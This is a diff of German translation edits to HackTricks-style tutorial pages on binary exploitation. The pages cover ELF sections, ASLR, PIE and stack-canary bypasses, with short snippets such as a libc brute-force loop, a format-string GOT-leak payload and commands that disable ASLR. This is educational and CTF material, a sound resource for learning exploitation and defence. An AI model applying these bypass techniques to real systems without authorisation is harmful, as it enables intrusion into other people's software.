 ### PHDR - Programm-Header
 
-Enthält die Programm-Header-Tabellen und Metadaten selbst.
+Enthält die Programm-Header-Tabellen und die Metadaten selbst.
 
 ### INTERP
 
@@ -54,7 +54,7 @@ Gibt den Pfad des Loaders an, der verwendet werden soll, um die Binärdatei in d
 Diese Header werden verwendet, um anzugeben, **wie eine Binärdatei in den Speicher geladen werden soll.**\
 Jeder **LOAD**-Header gibt einen Bereich des **Speichers** (Größe, Berechtigungen und Ausrichtung) an und zeigt die Bytes der ELF **Binärdatei, die dort kopiert werden sollen**.
 
-Zum Beispiel hat der zweite eine Größe von 0x1190, sollte sich bei 0x1fc48 mit den Berechtigungen Lesen und Schreiben befinden und wird mit 0x528 vom Offset 0xfc48 gefüllt (es füllt nicht den gesamten reservierten Speicher). Dieser Speicher wird die Abschnitte `.init_array .fini_array .dynamic .got .data .bss` enthalten.
+Zum Beispiel hat der zweite eine Größe von 0x1190, sollte sich bei 0x1fc48 mit den Berechtigungen Lesen und Schreiben befinden und wird mit 0x528 ab dem Offset 0xfc48 gefüllt (es füllt nicht den gesamten reservierten Speicher). Dieser Speicher wird die Abschnitte `.init_array .fini_array .dynamic .got .data .bss` enthalten.
 
 ### DYNAMIC
 
@@ -62,7 +62,7 @@ Dieser Header hilft, Programme mit ihren Bibliotheksabhängigkeiten zu verknüpf
 
 ### NOTE
 
-Dies speichert Metainformationen des Anbieters über die Binärdatei.
+Dies speichert Metadateninformationen des Anbieters über die Binärdatei.
 
 - Auf x86-64 zeigt `readelf -n` `GNU_PROPERTY_X86_FEATURE_1_*`-Flags innerhalb von `.note.gnu.property`. Wenn Sie `IBT` und/oder `SHSTK` sehen, wurde die Binärdatei mit CET (Indirect Branch Tracking und/oder Shadow Stack) erstellt. Dies beeinflusst ROP/JOP, da indirekte Zielzweige mit einer `ENDBR64`-Anweisung beginnen müssen und Rückgaben gegen einen Schattenstapel überprüft werden. Siehe die CET-Seite für Details und Umgehungsnotizen.
 
@@ -76,15 +76,15 @@ Definiert den Standort der Stack-Unwind-Tabellen, die von Debuggern und C++-Ausn
 
 ### GNU_STACK
 
-Enthält die Konfiguration des Stack-Ausführungspräventionsschutzes. Wenn aktiviert, kann die Binärdatei keinen Code vom Stack ausführen.
+Enthält die Konfiguration der Stack-Ausführungspräventionsverteidigung. Wenn aktiviert, kann die Binärdatei keinen Code vom Stack ausführen.
 
 - Überprüfen Sie mit `readelf -l ./bin | grep GNU_STACK`. Um es während der Tests zwangsweise umzuschalten, können Sie `execstack -s|-c ./bin` verwenden.
 
 ### GNU_RELRO
 
-Gibt die RELRO (Relocation Read-Only)-Konfiguration der Binärdatei an. Dieser Schutz markiert bestimmte Abschnitte des Speichers (wie die `GOT` oder die `init` und `fini`-Tabellen) nach dem Laden des Programms und bevor es zu laufen beginnt, als schreibgeschützt.
+Gibt die RELRO (Relocation Read-Only)-Konfiguration der Binärdatei an. Dieser Schutz markiert bestimmte Abschnitte des Speichers (wie die `GOT` oder die `init`- und `fini`-Tabellen) nach dem Laden des Programms und bevor es ausgeführt wird, als schreibgeschützt.
 
-Im vorherigen Beispiel kopiert es 0x3b8 Bytes nach 0x1fc48 als schreibgeschützt, was die Abschnitte `.init_array .fini_array .dynamic .got .data .bss` betrifft.
+Im vorherigen Beispiel werden 0x3b8 Bytes nach 0x1fc48 als schreibgeschützt kopiert, was die Abschnitte `.init_array .fini_array .dynamic .got .data .bss` betrifft.
 
 Beachten Sie, dass RELRO teilweise oder vollständig sein kann, die partielle Version schützt den Abschnitt **`.plt.got`** nicht, der für **lazy binding** verwendet wird und diesen Speicherplatz benötigt, um **Schreibberechtigungen** zu haben, um die Adresse der Bibliotheken beim ersten Suchen ihres Standorts zu schreiben.
 
@@ -173,9 +173,9 @@ Es zeigt auch den Standort, den Offset, die Berechtigungen, aber auch den **Date
 
 - **`.text`**: Die Anweisung des Programms, die ausgeführt werden soll.
 - **`.data`**: Globale Variablen mit einem definierten Wert im Programm.
-- **`.bss`**: Globale Variablen, die nicht initialisiert sind (oder auf null initialisiert). Variablen hier werden automatisch auf null initialisiert, wodurch unnötige Nullen vermieden werden, die zur Binärdatei hinzugefügt werden.
+- **`.bss`**: Globale Variablen, die nicht initialisiert sind (oder auf null gesetzt). Variablen hier werden automatisch auf null initialisiert, wodurch unnötige Nullen zum Binärformat verhindert werden.
 - **`.rodata`**: Konstante globale Variablen (schreibgeschützter Abschnitt).
-- **`.tdata`** und **`.tbss`**: Wie die .data und .bss, wenn thread-lokale Variablen verwendet werden (`__thread_local` in C++ oder `__thread` in C).
+- **`.tdata`** und **`.tbss`**: Wie .data und .bss, wenn thread-lokale Variablen verwendet werden (`__thread_local` in C++ oder `__thread` in C).
 - **`.dynamic`**: Siehe unten.
 
 ## Symbole
@@ -204,7 +204,7 @@ Num:    Value          Size Type    Bind   Vis      Ndx Name
 Jeder Symbol-Eintrag enthält:
 
 - **Name**
-- **Bindungsattribute** (schwach, lokal oder global): Ein lokales Symbol kann nur vom Programm selbst zugegriffen werden, während globale Symbole außerhalb des Programms geteilt werden. Ein schwaches Objekt ist zum Beispiel eine Funktion, die von einer anderen überschrieben werden kann.
+- **Bindungsattribute** (schwach, lokal oder global): Ein lokales Symbol kann nur vom Programm selbst zugegriffen werden, während die globalen Symbole außerhalb des Programms geteilt werden. Ein schwaches Objekt ist zum Beispiel eine Funktion, die von einer anderen überschrieben werden kann.
 - **Typ**: NOTYPE (kein Typ angegeben), OBJECT (globale Datenvariable), FUNC (Funktion), SECTION (Sektion), FILE (Quellcodedatei für Debugger), TLS (thread-lokale Variable), GNU_IFUNC (indirekte Funktion für Relokation)
 - **Sektion** Index, wo es sich befindet
 - **Wert** (Adresse im Speicher)
@@ -212,7 +212,7 @@ Jeder Symbol-Eintrag enthält:
 
 #### GNU Symbolversionierung (dynsym/dynstr/gnu.version)
 
-Moderne glibc verwendet Symbolversionen. Sie werden Einträge in `.gnu.version` und `.gnu.version_r` sowie Symbolnamen wie `strlen@GLIBC_2.17` sehen. Der dynamische Linker kann eine spezifische Version bei der Auflösung eines Symbols verlangen. Bei der Erstellung manueller Relokationen (z.B. ret2dlresolve) müssen Sie den richtigen Versionsindex angeben, andernfalls schlägt die Auflösung fehl.
+Moderne glibc verwendet Symbolversionen. Sie werden Einträge in `.gnu.version` und `.gnu.version_r` sowie Symbolnamen wie `strlen@GLIBC_2.17` sehen. Der dynamische Linker kann eine spezifische Version bei der Auflösung eines Symbols erfordern. Bei der Erstellung manueller Relokationen (z.B. ret2dlresolve) müssen Sie den richtigen Versionsindex angeben, andernfalls schlägt die Auflösung fehl.
 
 ## Dynamische Sektion
 ```
@@ -249,7 +249,7 @@ Tag        Type                         Name/Value
 0x000000006ffffff9 (RELACOUNT)          15
 0x0000000000000000 (NULL)               0x0
 ```
-Das NEEDED-Verzeichnis zeigt an, dass das Programm **die erwähnte Bibliothek laden muss**, um fortzufahren. Das NEEDED-Verzeichnis wird abgeschlossen, sobald die gemeinsame **Bibliothek vollständig betriebsbereit und bereit** zur Verwendung ist.
+Das NEEDED-Verzeichnis zeigt an, dass das Programm **die erwähnte Bibliothek laden muss**, um fortzufahren. Das NEEDED-Verzeichnis wird abgeschlossen, sobald die gemeinsame **Bibliothek vollständig betriebsbereit und einsatzbereit** ist.
 
 ### Suchreihenfolge des dynamischen Laders (RPATH/RUNPATH, $ORIGIN)
 
@@ -261,7 +261,7 @@ Die Einträge `DT_RPATH` (veraltet) und/oder `DT_RUNPATH` beeinflussen, wo der d
 - `ld.so.cache`
 - Standardverzeichnisse wie `/lib64`, `/usr/lib64` usw.
 
-`$ORIGIN` kann innerhalb von RPATH/RUNPATH verwendet werden, um auf das Verzeichnis des Hauptobjekts zu verweisen. Aus der Perspektive eines Angreifers ist dies wichtig, wenn Sie das Dateisystemlayout oder die Umgebung kontrollieren. Für gehärtete Binärdateien (AT_SECURE) werden die meisten Umgebungsvariablen vom Loader ignoriert.
+`$ORIGIN` kann innerhalb von RPATH/RUNPATH verwendet werden, um auf das Verzeichnis des Hauptobjekts zu verweisen. Aus der Perspektive eines Angreifers ist dies wichtig, wenn Sie die Dateisystemanordnung oder die Umgebung kontrollieren. Für gehärtete Binärdateien (AT_SECURE) werden die meisten Umgebungsvariablen vom Loader ignoriert.
 
 - Überprüfen mit: `readelf -d ./bin | egrep -i 'r(path|unpath)'`
 - Schneller Test: `LD_DEBUG=libs ./bin 2>&1 | grep -i find` (zeigt Entscheidungen über den Suchpfad)
@@ -358,9 +358,9 @@ Der PLT-Abschnitt ermöglicht eine verzögerte Bindung, was bedeutet, dass die A
 
 Wenn ein Programm also malloc aufruft, ruft es tatsächlich den entsprechenden Standort von `malloc` im PLT (`malloc@plt`) auf. Beim ersten Aufruf wird die Adresse von `malloc` aufgelöst und gespeichert, sodass beim nächsten Aufruf von `malloc` diese Adresse anstelle des PLT-Codes verwendet wird.
 
-#### Moderne Verknüpfungsverhalten, die die Ausnutzung beeinflussen
+#### Moderne Verlinkungsverhalten, die die Ausnutzung beeinflussen
 
-- `-z now` (Vollständiges RELRO) deaktiviert die verzögerte Bindung; PLT-Einträge existieren weiterhin, aber GOT/PLT ist schreibgeschützt gemappt, sodass Techniken wie **GOT-Überschreibung** und **ret2dlresolve** gegen das Haupt-Binärprogramm nicht funktionieren (Bibliotheken können weiterhin teilweise RELRO sein). Siehe:
+- `-z now` (Full RELRO) deaktiviert die verzögerte Bindung; PLT-Einträge existieren weiterhin, aber GOT/PLT ist schreibgeschützt gemappt, sodass Techniken wie **GOT-Überschreibung** und **ret2dlresolve** gegen das Haupt-Binärprogramm nicht funktionieren (Bibliotheken können weiterhin teilweise RELRO sein). Siehe:
 
 {{#ref}}
 ../common-binary-protections-and-bypasses/relro.md
@@ -399,7 +399,7 @@ printf("Main\n");
 return 0;
 }
 ```
-Beachten Sie, dass sich diese globalen Variablen in `.data` oder `.bss` befinden, aber in den Listen `__CTOR_LIST__` und `__DTOR_LIST__` die Objekte zur Initialisierung und Zerstörung gespeichert sind, um sie nachverfolgen zu können.
+Beachten Sie, dass sich diese globalen Variablen in `.data` oder `.bss` befinden, aber in den Listen `__CTOR_LIST__` und `__DTOR_LIST__` die Objekte zur Initialisierung und Zerstörung gespeichert sind, um den Überblick über sie zu behalten.
 
 Aus C-Code ist es möglich, dasselbe Ergebnis mit den GNU-Erweiterungen zu erzielen:
 ```c
@@ -429,7 +429,7 @@ Darüber hinaus ist es auch möglich, ein **`PREINIT_ARRAY`** mit **Zeigern** zu
 3. **`PREINIT_ARRAY`**-Funktionen werden ausgeführt.
 4. **`INIT_ARRAY`**-Funktionen werden ausgeführt.
 5. Wenn es einen **`INIT`**-Eintrag gibt, wird dieser aufgerufen.
-6. Wenn es sich um eine Bibliothek handelt, endet dlopen hier; wenn es sich um ein Programm handelt, ist es Zeit, den **tatsächlichen Einstiegspunkt** (Funktion `main`) aufzurufen.
+6. Wenn es sich um eine Bibliothek handelt, endet dlopen hier, wenn es sich um ein Programm handelt, ist es Zeit, den **echten Einstiegspunkt** (Funktion `main`) aufzurufen.
 
 ## Thread-lokaler Speicher (TLS)
 
@@ -441,7 +441,7 @@ Wenn dies verwendet wird, werden die Sektionen **`.tdata`** und **`.tbss`** im E
 
 Jede Variable hat einen Eintrag im TLS-Header, der die Größe und den TLS-Offset angibt, der der Offset ist, den sie im lokalen Datenbereich des Threads verwenden wird.
 
-Der `__TLS_MODULE_BASE` ist ein Symbol, das verwendet wird, um auf die Basisadresse des thread-lokalen Speichers zu verweisen und auf den Bereich im Speicher zu zeigen, der alle thread-lokalen Daten eines Moduls enthält.
+Der `__TLS_MODULE_BASE` ist ein Symbol, das verwendet wird, um die Basisadresse des thread-lokalen Speichers zu referenzieren und auf den Bereich im Speicher zu zeigen, der alle thread-lokalen Daten eines Moduls enthält.
 
 ## Hilfsvektor (auxv) und vDSO
 

src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md

@@ -8,7 +8,7 @@
 
 ### **Überprüfen des ASLR-Status**
 
-Um den ASLR-Status auf einem Linux-System zu **überprüfen**, können Sie den Wert aus der **`/proc/sys/kernel/randomize_va_space`**-Datei lesen. Der in dieser Datei gespeicherte Wert bestimmt die Art des angewendeten ASLR:
+Um den ASLR-Status auf einem Linux-System zu **überprüfen**, können Sie den Wert aus der **`/proc/sys/kernel/randomize_va_space`** Datei lesen. Der in dieser Datei gespeicherte Wert bestimmt die Art des angewendeten ASLR:
 
 - **0**: Keine Randomisierung. Alles ist statisch.
 - **1**: Konservative Randomisierung. Gemeinsame Bibliotheken, Stack, mmap(), VDSO-Seite sind randomisiert.
@@ -20,11 +20,11 @@ cat /proc/sys/kernel/randomize_va_space
 ```
 ### **Deaktivieren von ASLR**
 
-Um ASLR zu **deaktivieren**, setzen Sie den Wert von `/proc/sys/kernel/randomize_va_space` auf **0**. Das Deaktivieren von ASLR wird allgemein nicht empfohlen, außer in Test- oder Debugging-Szenarien. So können Sie es deaktivieren:
+Um ASLR zu **deaktivieren**, setzen Sie den Wert von `/proc/sys/kernel/randomize_va_space` auf **0**. Das Deaktivieren von ASLR wird allgemein außerhalb von Test- oder Debugging-Szenarien nicht empfohlen. So können Sie es deaktivieren:
 ```bash
 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
 ```
-Sie können ASLR auch für eine Ausführung mit folgendem Befehl deaktivieren:
+Sie können ASLR für eine Ausführung auch mit folgendem Befehl deaktivieren:
 ```bash
 setarch `arch` -R ./bin args
 setarch `uname -m` -R ./bin args
@@ -51,11 +51,11 @@ Dies stellt sicher, dass Ihre ASLR-Einstellungen über Neustarts hinweg bestehen
 
 ## **Umgehungen**
 
-### 32-Bit-Brute-Forcing
+### 32-Bit Brute-Forcing
 
 PaX unterteilt den Adressraum des Prozesses in **3 Gruppen**:
 
-- **Code und Daten** (initialisiert und nicht initialisiert): `.text`, `.data` und `.bss` —> **16 Bits** Entropie in der `delta_exec`-Variablen. Diese Variable wird bei jedem Prozess zufällig initialisiert und zu den ursprünglichen Adressen addiert.
+- **Code und Daten** (initialisiert und nicht initialisiert): `.text`, `.data` und `.bss` —> **16 Bits** Entropie in der `delta_exec`-Variablen. Diese Variable wird bei jedem Prozess zufällig initialisiert und zu den Anfangsadressen addiert.
 - **Speicher**, der von `mmap()` zugewiesen wird, und **gemeinsame Bibliotheken** —> **16 Bits**, genannt `delta_mmap`.
 - **Der Stack** —> **24 Bits**, bezeichnet als `delta_stack`. Allerdings verwendet er effektiv **11 Bits** (vom 10. bis zum 20. Byte einschließlich), ausgerichtet auf **16 Bytes** —> Dies ergibt **524.288 mögliche reale Stack-Adressen**.
 
@@ -64,7 +64,7 @@ Die vorherigen Daten gelten für 32-Bit-Systeme, und die reduzierte endgültige
 #### Brute-Force-Ideen:
 
 - Wenn Sie einen großen Überlauf haben, um einen **großen NOP-Sled vor dem Shellcode** zu hosten, könnten Sie einfach Adressen im Stack brute-forcen, bis der Fluss **über einen Teil des NOP-Sled springt**.
-- Eine weitere Option dafür, falls der Überlauf nicht so groß ist und der Exploit lokal ausgeführt werden kann, ist es, **den NOP-Sled und den Shellcode in einer Umgebungsvariablen hinzuzufügen**.
+- Eine weitere Option dafür, falls der Überlauf nicht so groß ist und der Exploit lokal ausgeführt werden kann, ist es, **den NOP-Sled und den Shellcode in einer Umgebungsvariable hinzuzufügen**.
 - Wenn der Exploit lokal ist, können Sie versuchen, die Basisadresse von libc brute-forcen (nützlich für 32-Bit-Systeme):
 ```python
 for off in range(0xb7000000, 0xb8000000, 0x1000):
@@ -72,12 +72,12 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
 - Wenn Sie einen Remote-Server angreifen, könnten Sie versuchen, **die Adresse der `libc`-Funktion `usleep` zu brute-forcen**, indem Sie als Argument 10 übergeben (zum Beispiel). Wenn der **Server irgendwann 10 Sekunden länger für die Antwort benötigt**, haben Sie die Adresse dieser Funktion gefunden.
 
 > [!TIP]
-> In 64-Bit-Systemen ist die Entropie viel höher und dies sollte nicht möglich sein.
+> In 64-Bit-Systemen ist die Entropie viel höher und das sollte nicht möglich sein.
 
 ### 64-Bit-Stack-Brute-Forcing
 
 Es ist möglich, einen großen Teil des Stacks mit Umgebungsvariablen zu belegen und dann zu versuchen, die Binärdatei hunderte oder tausende Male lokal auszunutzen.\
-Der folgende Code zeigt, wie es möglich ist, **einfach eine Adresse im Stack auszuwählen** und bei **einigen hundert Ausführungen** wird diese Adresse den **NOP-Befehl** enthalten:
+Der folgende Code zeigt, wie es möglich ist, **einfach eine Adresse im Stack auszuwählen** und jede **einige Hundert Ausführungen** wird diese Adresse den **NOP-Befehl** enthalten:
 ```c
 //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
 #include <stdio.h>
@@ -154,7 +154,7 @@ Die Datei **`/proc/[pid]/stat`** eines Prozesses ist immer für alle lesbar und
 - **arg_start** & **arg_end**: Adressen oberhalb und unterhalb, wo sich die **CLI-Argumente** befinden.
 - **env_start** & **env_end**: Adressen oberhalb und unterhalb, wo sich die **Umgebungsvariablen** befinden.
 
-Daher, wenn der Angreifer sich auf demselben Computer wie die auszunutzende Binärdatei befindet und diese Binärdatei nicht erwartet, dass der Überlauf von rohen Argumenten kommt, sondern von einem anderen **Eingang, der nach dem Lesen dieser Datei erstellt werden kann**. Ist es möglich für einen Angreifer, **einige Adressen aus dieser Datei zu erhalten und Offsets daraus für den Exploit zu konstruieren**.
+Daher, wenn der Angreifer sich auf demselben Computer wie die auszunutzende Binärdatei befindet und diese Binärdatei nicht erwartet, dass der Überlauf von rohen Argumenten kommt, sondern von einem anderen **Eingang, der nach dem Lesen dieser Datei erstellt werden kann**. Ist es möglich für einen Angreifer, **einige Adressen aus dieser Datei zu erhalten und von ihnen Offsets für den Exploit zu konstruieren**.
 
 > [!TIP]
 > Für weitere Informationen zu dieser Datei siehe [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) und suche nach `/proc/pid/stat`
@@ -190,7 +190,8 @@ p.interactive()
 ```
 - **ret2plt**
 
-Durch den Missbrauch eines Bufferüberlaufs wäre es möglich, ein **ret2plt** auszunutzen, um eine Adresse einer Funktion aus der libc zu exfiltrieren. Überprüfen Sie:
+Durch den Missbrauch eines Buffer Overflows wäre es möglich, ein **ret2plt** auszunutzen, um eine Adresse einer Funktion aus der libc zu exfiltrieren. Überprüfen Sie:
+
 
 {{#ref}}
 ret2plt.md
@@ -198,7 +199,7 @@ ret2plt.md
 
 - **Format Strings Arbitrary Read**
 
-Genau wie bei ret2plt, wenn Sie über eine Format-Strings-Sicherheitsanfälligkeit einen beliebigen Lesezugriff haben, ist es möglich, die Adresse einer **libc-Funktion** aus der GOT zu exfiltrieren. Das folgende [**Beispiel stammt von hier**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
+Genau wie bei ret2plt ist es möglich, die Adresse einer **libc-Funktion** aus der GOT zu exfiltrieren, wenn Sie über eine Format-Strings-Schwachstelle einen arbiträren Lesezugriff haben. Das folgende [**Beispiel stammt von hier**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
 ```python
 payload = p32(elf.got['puts'])  # p64() if 64-bit
 payload += b'|'
@@ -230,7 +231,7 @@ Allerdings werden hier keine besonders interessanten Gadgets gefunden (obwohl es
 
 (Das folgende Beispiel und der Code sind [**aus diesem Bericht**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
 
-Ein Angreifer könnte beispielsweise die Adresse `0xffffffffff600800` innerhalb eines Exploits verwenden. Während der Versuch, direkt zu einer `ret`-Anweisung zu springen, nach der Ausführung einiger Gadgets zu Instabilität oder Abstürzen führen kann, kann das Springen zum Anfang eines `syscall`, das von der **vsyscall**-Sektion bereitgestellt wird, erfolgreich sein. Durch das sorgfältige Platzieren eines **ROP** Gadgets, das die Ausführung zu dieser **vsyscall**-Adresse führt, kann ein Angreifer die Codeausführung erreichen, ohne **ASLR** für diesen Teil des Exploits umgehen zu müssen.
+Ein Angreifer könnte beispielsweise die Adresse `0xffffffffff600800` innerhalb eines Exploits verwenden. Während der Versuch, direkt zu einer `ret` Anweisung zu springen, nach der Ausführung einiger Gadgets zu Instabilität oder Abstürzen führen könnte, kann das Springen zum Anfang eines `syscall`, das von der **vsyscall** Sektion bereitgestellt wird, erfolgreich sein. Durch das sorgfältige Platzieren eines **ROP** Gadgets, das die Ausführung zu dieser **vsyscall** Adresse führt, kann ein Angreifer die Codeausführung erreichen, ohne **ASLR** für diesen Teil des Exploits umgehen zu müssen.
 ```
 ef➤  vmmap
 Start              End                Offset             Perm Path

src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md

@@ -8,7 +8,7 @@ Eine als PIE kompilierte Binärdatei, oder **Position Independent Executable**,
 
 Der Trick, um diese Binärdateien auszunutzen, besteht darin, die **relativen Adressen** auszunutzen – die Offsets zwischen den Teilen des Programms bleiben gleich, auch wenn sich die absoluten Standorte ändern. Um **PIE zu umgehen, müssen Sie nur eine Adresse leaken**, typischerweise vom **Stack** unter Verwendung von Schwachstellen wie Format-String-Angriffen. Sobald Sie eine Adresse haben, können Sie andere anhand ihrer **festen Offsets** berechnen.
 
-Ein hilfreicher Hinweis beim Ausnutzen von PIE-Binärdateien ist, dass ihre **Basisadresse typischerweise auf 000 endet**, da Speicherseiten die Einheiten der Randomisierung sind, die eine Größe von 0x1000 Bytes haben. Diese Ausrichtung kann eine kritische **Überprüfung sein, wenn ein Exploit nicht wie erwartet funktioniert**, und zeigt an, ob die richtige Basisadresse identifiziert wurde.\
+Ein hilfreicher Hinweis beim Ausnutzen von PIE-Binärdateien ist, dass ihre **Basisadresse typischerweise auf 000 endet**, da Speicherseiten die Einheiten der Randomisierung sind, die eine Größe von 0x1000 Bytes haben. Diese Ausrichtung kann eine kritische **Überprüfung sein, wenn ein Exploit nicht wie erwartet funktioniert**, und zeigt an, ob die korrekte Basisadresse identifiziert wurde.\
 Oder Sie können dies für Ihren Exploit verwenden, wenn Sie leaken, dass eine Adresse sich bei **`0x649e1024`** befindet, wissen Sie, dass die **Basisadresse `0x649e1000` ist** und von dort aus können Sie einfach die **Offsets** von Funktionen und Standorten berechnen.
 
 ## Umgehungen
@@ -16,7 +16,7 @@ Oder Sie können dies für Ihren Exploit verwenden, wenn Sie leaken, dass eine A
 Um PIE zu umgehen, ist es notwendig, **eine Adresse der geladenen** Binärdatei zu leaken, es gibt einige Optionen dafür:
 
 - **Deaktiviertes ASLR**: Wenn ASLR deaktiviert ist, wird eine mit PIE kompilierte Binärdatei immer **an derselben Adresse geladen**, daher wird **PIE nutzlos sein**, da die Adressen der Objekte immer am selben Ort sein werden.
-- **Gegeben** werden die Leckage (häufig in einfachen CTF-Herausforderungen, [**prüfen Sie dieses Beispiel**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
+- **Gegeben** werden, dass ein Leak vorhanden ist (häufig in einfachen CTF-Herausforderungen, [**prüfen Sie dieses Beispiel**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
 - **Brute-Force EBP- und EIP-Werte** im Stack, bis Sie die richtigen leaken:
 
 

src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md

@@ -4,15 +4,15 @@
 
 ## **StackGuard und StackShield**
 
-**StackGuard** fügt einen speziellen Wert, bekannt als **canary**, vor dem **EIP (Extended Instruction Pointer)** ein, speziell `0x000aff0d` (repräsentiert null, newline, EOF, carriage return), um gegen Bufferüberläufe zu schützen. Funktionen wie `recv()`, `memcpy()`, `read()` und `bcopy()` bleiben jedoch anfällig, und es schützt nicht den **EBP (Base Pointer)**.
+**StackGuard** fügt einen speziellen Wert, bekannt als **canary**, vor dem **EIP (Extended Instruction Pointer)** ein, speziell `0x000aff0d` (repräsentiert null, Zeilenumbruch, EOF, Wagenrücklauf), um gegen Pufferüberläufe zu schützen. Funktionen wie `recv()`, `memcpy()`, `read()` und `bcopy()` bleiben jedoch anfällig, und es schützt nicht den **EBP (Base Pointer)**.
 
-**StackShield** verfolgt einen ausgefeilteren Ansatz als StackGuard, indem es einen **Global Return Stack** beibehält, der alle Rücksprungadressen (**EIPs**) speichert. Diese Einrichtung stellt sicher, dass ein Überlauf keinen Schaden anrichtet, da sie einen Vergleich zwischen gespeicherten und tatsächlichen Rücksprungadressen ermöglicht, um Überlaufereignisse zu erkennen. Darüber hinaus kann StackShield die Rücksprungadresse mit einem Grenzwert überprüfen, um festzustellen, ob der **EIP** außerhalb des erwarteten Datenraums zeigt. Diese Schutzmaßnahme kann jedoch durch Techniken wie Return-to-libc, ROP (Return-Oriented Programming) oder ret2ret umgangen werden, was darauf hinweist, dass StackShield auch keine lokalen Variablen schützt.
+**StackShield** verfolgt einen ausgefeilteren Ansatz als StackGuard, indem es einen **Global Return Stack** beibehält, der alle Rückgabeadressen (**EIPs**) speichert. Diese Einrichtung stellt sicher, dass ein Überlauf keinen Schaden anrichtet, da sie einen Vergleich zwischen gespeicherten und tatsächlichen Rückgabeadressen ermöglicht, um Überlaufereignisse zu erkennen. Darüber hinaus kann StackShield die Rückgabadresse mit einem Grenzwert überprüfen, um festzustellen, ob der **EIP** außerhalb des erwarteten Datenraums zeigt. Diese Schutzmaßnahme kann jedoch durch Techniken wie Return-to-libc, ROP (Return-Oriented Programming) oder ret2ret umgangen werden, was darauf hinweist, dass StackShield auch keine lokalen Variablen schützt.
 
 ## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
 
 Dieser Mechanismus platziert einen **canary** vor dem **EBP** und reorganisiert lokale Variablen, um Puffer an höheren Speicheradressen zu positionieren, wodurch verhindert wird, dass sie andere Variablen überschreiben. Er kopiert auch sicher die Argumente, die auf dem Stack über lokalen Variablen übergeben werden, und verwendet diese Kopien als Argumente. Allerdings schützt er keine Arrays mit weniger als 8 Elementen oder Puffer innerhalb einer Benutzerstruktur.
 
-Der **canary** ist eine Zufallszahl, die aus `/dev/urandom` abgeleitet oder ein Standardwert von `0xff0a0000` ist. Er wird in **TLS (Thread Local Storage)** gespeichert, was es ermöglicht, dass gemeinsame Speicherbereiche über Threads hinweg thread-spezifische globale oder statische Variablen haben. Diese Variablen werden zunächst vom übergeordneten Prozess kopiert, und untergeordnete Prozesse können ihre Daten ändern, ohne den übergeordneten Prozess oder Geschwister zu beeinflussen. Wenn jedoch ein **`fork()` ohne Erstellung eines neuen canary verwendet wird, teilen sich alle Prozesse (Eltern und Kinder) denselben canary**, was ihn anfällig macht. Auf der **i386**-Architektur wird der canary bei `gs:0x14` gespeichert, und auf **x86_64** bei `fs:0x28`.
+Der **canary** ist eine Zufallszahl, die aus `/dev/urandom` abgeleitet oder ein Standardwert von `0xff0a0000` ist. Er wird in **TLS (Thread Local Storage)** gespeichert, was es ermöglicht, dass gemeinsame Speicherbereiche über Threads hinweg thread-spezifische globale oder statische Variablen haben. Diese Variablen werden zunächst vom übergeordneten Prozess kopiert, und untergeordnete Prozesse können ihre Daten ändern, ohne den übergeordneten oder Geschwisterprozesse zu beeinflussen. Wenn jedoch ein **`fork()` ohne Erstellen eines neuen canary verwendet wird, teilen sich alle Prozesse (Eltern und Kinder) denselben canary**, was ihn anfällig macht. Auf der **i386**-Architektur wird der canary bei `gs:0x14` gespeichert, und auf **x86_64** bei `fs:0x28`.
 
 Dieser lokale Schutz identifiziert Funktionen mit Puffern, die anfällig für Angriffe sind, und injiziert Code am Anfang dieser Funktionen, um den canary zu platzieren, und am Ende, um seine Integrität zu überprüfen.
 
@@ -27,9 +27,9 @@ In `x86`-Binaries ist das canary-Cookie ein **`0x4`** Byte dword. Die **ersten d
 > [!CAUTION]
 > Das am wenigsten signifikante Byte beider canaries ist ein null Byte, da es das erste im Stack ist, das von niedrigeren Adressen kommt, und daher **werden Funktionen, die Strings lesen, stoppen, bevor sie es lesen**.
 
-## Umgehungen
+## Bypasses
 
-**Leaking the canary** und dann das Überschreiben mit seinem eigenen Wert (z.B. Bufferüberlauf).
+**Leaking the canary** und dann das Überschreiben mit seinem eigenen Wert (z.B. Pufferüberlauf).
 
 - Wenn der **canary in untergeordneten Prozessen geforkt wird**, könnte es möglich sein, ihn **brute-force** byteweise zu erraten:
 
@@ -56,9 +56,9 @@ Der Stack, der anfällig für einen Stacküberlauf ist, könnte **Adressen zu St
 
 - **Ändern sowohl des Master- als auch des Thread-Canary**
 
-Ein Puffer **Überlauf in einer threadgeschützten Funktion** mit Canary kann verwendet werden, um den **Master-Canary des Threads** zu **ändern**. Infolgedessen ist die Minderung nutzlos, da die Überprüfung mit zwei Canaries verwendet wird, die gleich sind (obwohl modifiziert).
+Ein Puffer **überlauf in einer threaded Funktion**, die mit einem Canary geschützt ist, kann verwendet werden, um den **Master-Canary des Threads** zu **ändern**. Infolgedessen ist die Minderung nutzlos, da die Überprüfung mit zwei Canaries verwendet wird, die gleich sind (obwohl modifiziert).
 
-Darüber hinaus könnte ein Puffer **Überlauf in einer threadgeschützten Funktion** mit Canary verwendet werden, um den **Master-Canary, der im TLS gespeichert ist, zu ändern**. Dies liegt daran, dass es möglich sein könnte, die Speicherposition zu erreichen, an der das TLS gespeichert ist (und daher der canary) über einen **bof im Stack** eines Threads.\
+Darüber hinaus könnte ein Puffer **überlauf in einer threaded Funktion**, die mit einem Canary geschützt ist, verwendet werden, um den **Master-Canary, der im TLS gespeichert ist, zu ändern**. Dies liegt daran, dass es möglich sein könnte, die Speicherposition zu erreichen, an der das TLS gespeichert ist (und daher der canary) über einen **bof im Stack** eines Threads.\
 Infolgedessen ist die Minderung nutzlos, da die Überprüfung mit zwei Canaries verwendet wird, die gleich sind (obwohl modifiziert).\
